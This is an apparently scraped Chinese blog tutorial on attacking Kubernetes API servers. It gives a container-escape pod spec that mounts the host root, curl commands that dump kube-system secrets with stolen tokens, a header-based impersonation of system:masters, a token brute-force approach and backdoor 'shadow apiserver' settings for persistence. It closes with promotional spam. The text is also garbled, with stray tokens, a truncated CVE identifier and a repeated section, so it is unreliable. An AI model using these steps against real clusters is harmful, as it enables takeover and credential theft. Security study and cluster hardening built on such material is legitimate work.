apiserver简介
apiserver工作原理图 :

讯享网
而apiserver在渗透测试过程中受到以下风险:
apiserver的Insecure-port端口对外暴露
apiserver未授权配置错误(匿名访问+绑定高权限角色)
历史apiserver提权漏洞(例如CVE-2018-)
配置不当的RBAC受到的提权风险
apiserver权限维持
…
1.apiserver的Insecure-port端口对外暴露
如果其在生产环境中Insecure-port 被暴露出来,便利用此端口进行对集群的攻击。
但是这种情况很少了,条件必须是低版本(1.20版本后该选项已无效化)加配置中(/etc/kubernets/manifests/kube- apiserver.yaml)写了insecure-port选项,默认不开启:

2.apiserver未授权配置错误(匿名访问+绑定高权限角色)
Api server的 6443 (secure-port,安全端口)认证是需要凭据的。

如果配置错误,将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群。
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
讯享网

这种配置下可以拿到所有token后与api server交互,支配集群:

3.历史apiserver提权漏洞(例如CVE-2018-)
漏洞影响版本:
Kubernetes v1.0.x-1.9.x
Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
漏洞利用条件:
这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。
环境:

创建namespace:
讯享网apiVersion: v1 kind: Namespace metadata: name: test
创建role:
apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: test namespace: test rules: - apiGroups: - "" resources: - pods verbs: - get - list - delete - watch - apiGroups: - "" resources: - pods/exec verbs: - create - get
创建role_binding.yml:
讯享网apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test namespace: test roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: test subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: test
创建pod:
apiVersion: v1 kind: Pod metadata: name: test namespace: test spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] serviceAccount: default serviceAccountName: default
最后给用户配置一个静态的token文件来配置用户的认证:
当在命令行上指定--token-auth-file=SOMEFILE选项时,API server 从文件读取 bearer token。
token 文件是一个 csv 文件,每行至少包含三列:token、用户名、用户 uid:
讯享网token,user,uid,"group1,group2,group3"
这里使用到的配置token:
password,test,test,test
验证:
对指定test空间下的pod执行命令是可以的:
讯享网kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname

对其他命名空间越权操作发现提示权限不足:
kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system

漏洞复现:
exp中也是会创建一个挂载宿主机根目录的pod,实现容器逃,而创建的基础是利用前面说的高权限websocket连接,利用这个连接向apiserver发送命令,窃取高凭据文件,再利用凭据文件创建pod,挂载宿主机根目录。
挂载了以后读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据:

exp中指定读取的证书文件:

利用:

这样就拿到了凭据,最后就是创建pod挂载宿主机根目录:
讯享网# attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumeMounts: - name: escape-host mountPath: /host-escape-door volumes: - name: escape-host hostPath: path: /

host-escape-door 目录为pod挂载宿主机的目录,发现已经可以查看apiserver宿主机的目录:

4.配置不当的RBAC受到的提权风险
RBAC权限滥用提权
权限滥用主要在对特定资源有特定操作的情况下,可以有特定的权限提升。
枚举当前RBAC权限
在指定当前通过渗透得到用户凭据或者sa的凭据后,可以先枚举当前有哪些权限:


也可以使用curl对apiserver的api进行访问来区别当前的权限:

枚举之后应该对当前凭据对资源的操作有个数了,下面列举在分配权限时,哪些情况下有提权提升的可能。
create pods权限
resources: ["*"] verbs: ["create"]:resources为*或者为pods的情况下,verbs是create,在集群中可以创建任意资源,比如像pods,roles.而创建pods的命名空间也取决你role中metadata.namespace的值:

如果有create权限,常见攻击手法就是创建挂载根目录的pod,跳到node:


list secrets权限
resources: ["*"] verbs: ["list"]:resources为*或者为secrets的情况下,verbs是list,在集群中可以列出其他user的secrets,一般拿来寻找特权账号凭据。
具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets,包括管理的keys(JWT):

利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
get secret权限
resources: ["*"] verbs: ["get"]:resources为*或者为secrets的情况下,verbs是get,get可以在集群中获得其他service
accounts的secrets。
如下定义Role的resources字段为*或者secrets对象,并且verbs为get,这时候有权限获得其他secrets。

get权限能访问的api:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
但是get和list不一样,get需要知道secrets的id才能读:

图出处:图出处,list和get来窃取凭据的区别:<https://published-
prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:

对应的token:
讯享网kubectl -n kube-system get secret -n kube-system

可以看到每个sa的token都是sa的name-token-随机五个字符,
其中随机的字符是由数字和字母组合,特定的27个字符:
https://github.com/kubernetes/kubernetes/blob/8418cccaf6af1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

27的5次方也是14,348,907可能,写个py脚本的迭代器爆破即可:

get list watch secrets权限
resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话可以利用这三个权限,来创建一个恶意pod后通过挂载secrets以至获取别人的secrets,然后外带:


这里使用automountServiceAccountToken将特权服务帐户的令牌挂载到
pod,使用令牌获取拿到所有secrets后用nc传到攻击者监听端口,当前也可以使用其他方式带外:

图出处,创建一个"hot pod"来窃取凭据:<https://published-
prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
Impersonate权限
用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如,管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。
以下 HTTP 标头可用于执行模拟请求:
Impersonate-User:要充当的用户名。
Impersonate-Group:要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
Impersonate-Extra-( extra name ):用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
Impersonate-Uid:代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。
有了Impersonate权限攻击者可以模拟一个有特权的账户或者组:
Role:

binding:

模拟用户的操作是通过调用K8s API 的Header来指定的,kubectl可以加入–as参数:
kubectl --as <user-to-impersonate> ... kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
请求apiserver:
讯享网curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \ -H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \ -H "Accept: application/json" \ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
5.apiserver权限维持
shadow apiserver
pdf:
原本apiserver信息:

apiserver pod的详细:

构造shadow apiserver需要在原有的基础上增加功能,总所周知cdk工具可以一键部署shadow apiserver:
pkg/exploit/k8s_shadow_apiserver.go:

可以发现cdk在配置文件中添加:
--allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow
也可以修改cdk中原有配置的参数来定制你的后门apiserver。直接修改argInsertReg.ReplaceAllString函数里的内容即可。
ps :
insecure-port的参数在最新cdk已经被注释了,这个参数在K8s 1.24会直接弃用。
所以这个时候当前可以匿名向apiserver访问请求管理集群,curl/kubectl去请求,
kubectl -s 192.168.1.22:6443 get pods,deployment -o wide

6.最后
aceAllString`函数里的内容即可。
ps :
insecure-port的参数在最新cdk已经被注释了,这个参数在K8s 1.24会直接弃用。
所以这个时候当前可以匿名向apiserver访问请求管理集群,curl/kubectl去请求,
kubectl -s 192.168.1.22:6443 get pods,deployment -o wide
[外链图片转存中…(img-RqXSijnG-17)]
6.最后
学习计划安排

我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/14115.html